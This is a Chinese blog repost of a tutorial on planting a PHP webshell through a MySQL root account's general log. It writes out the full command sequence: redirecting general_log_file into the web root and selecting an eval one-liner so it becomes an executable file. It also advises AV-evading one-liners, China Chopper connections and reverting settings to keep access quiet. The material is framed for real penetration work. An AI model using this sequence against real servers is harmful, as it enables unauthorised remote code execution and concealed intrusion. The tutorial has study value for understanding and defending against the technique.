mysql怎么有写权限_Mysql Root 权限下的注入利用技巧( 二 )

本文介绍如何通过MySQL的general log功能,绕过权限限制,将SQL语句写入shell并执行系统命令。关键步骤包括开启日志、修改日志文件路径和确保写权限。注意在渗透测试中的安全性问题和操作恢复。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

fbba8ef0d94c6a9d4d0db14852bc0595.gif

文章来源:lsh4ck's Blog

前言须知

在上半部分,我们详细说明了 mysql 在 root 权限下如何读写文件,开启外连,这次我们就来简单说明如何通过 mysql 的 log 功能写 shell 以及如何利用 udf 执行系统命令

日志写,利用核心

利用 mysql 的 general log 功能来写 shell,其实,核心很简单,当你把这个开关开启以后,它自动把所有执行过的 sql 语句都记录到一个指定的文件里去,具体怎么利用呢,其实也很简单,由于 mysql 的 root 权限是可以随意修改 mysql 内部配置,也就是说我完全可以把原来默认的日志文件位置给替换掉,然后重新指向到目标网站目录中,这样我再随便去 select 个一句话,这个一句话自然也就直接进到你 set 的那个目标网站目录里的日志文件了,另外,这儿还有一个很重要的前提,就是你在数据库中 set 到的那个目录,对你当前数据库服务用户一定要是可写的,不然同样写不进去,具体操作,如下

1

2

3

4

5

6

7

mysql> show variables like ‘%general%’;

mysql> set global general_log = on;

mysql> set global general_log_file = ‘/var/www/loveshell.php’;

mysql> select ‘<?php @eval($_POST[klion])?>’;

$ sudo cat /var/www/loveshell.php

mysql> set global general_log_file = ‘/var/run/mysqld/mysqld.log’;

mysql> set global general_log = off;

上来先看下目标数据库默认的日志存放路径在哪儿,顺手记录下来,等会儿干完活儿还要恢复回来

a8ee075f1113b24f2ae70b812e44c656.png

开启 mysql log 功能,把 log 文件指向到目标的网站目录中,你自己实战时,可能会发现通常都是 set 不进去的,其实原因很明显,大多数都由于当前的 mysql 服务用户对网站目录没有写权限,具体效果如下,说到这里,相比大家也应该很清楚了,其实你要想把这种方法利用成功,可能需要目标 web 服务本身有很高的系统权限,比如,像 appserv 之类的集成环境,在 windows 中默认就是 system 权限,很容易就拿到 shell 了,如果就是个数据库服务用户权限,而且这个用户对网站目录还不能写,那基本也是很难利用上的

45d228b5c4ae0c97a99587f79eda4906.png

为了继续我们的演示效果,这里我就先手动把网站目录给下其它人可写的权限

db6246bc09599b0e51502d6777365fa0.png

这时候我们再次尝试set,就可以顺利set进去了,这时直接select个一句话,实际中最好select个免杀一句话

901fc03f75236b1d20b2eda6e0de7da6.png

然后再到我们刚刚 set 的日志文件中,看看我们的一句话到底有没有被记录,从下图可知,我们的一句话已经被正常记录了日志文件中

9c4a53e83d8b2b71f9c8065b1f6a8675.png

尝试访问我们的一句话,看到下面的返回就则说明我们的一句话已经被正常执行,实际中可能并不会这么轻松,如果目标访问量比较大,短时间 log 文件可能会比较大,在用菜刀或者别的连一句话的时候不免会有些卡

757a70ae3cbbe89585babafa8b93f4b7.png

最后,一定要记得把我们刚刚修改的配置再顺手恢复回来,活儿一定要干净,实际渗透中,最好养成这样的习惯,不然,辛苦弄到的权限也许就因为自己的粗心掉了,岂不尴尬

396a86e26cbac8571138ad068fa9441d.png

5e2de5fde3f1f41aa0b8c1f0a2af674e.png

你可能喜欢

SQLServer注入技巧

绕过WAF继续SQL注入常用方法

SQL注入access数据库【一】

d91d7c1f29f6dbc1924f8f59fdf5d0eb.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值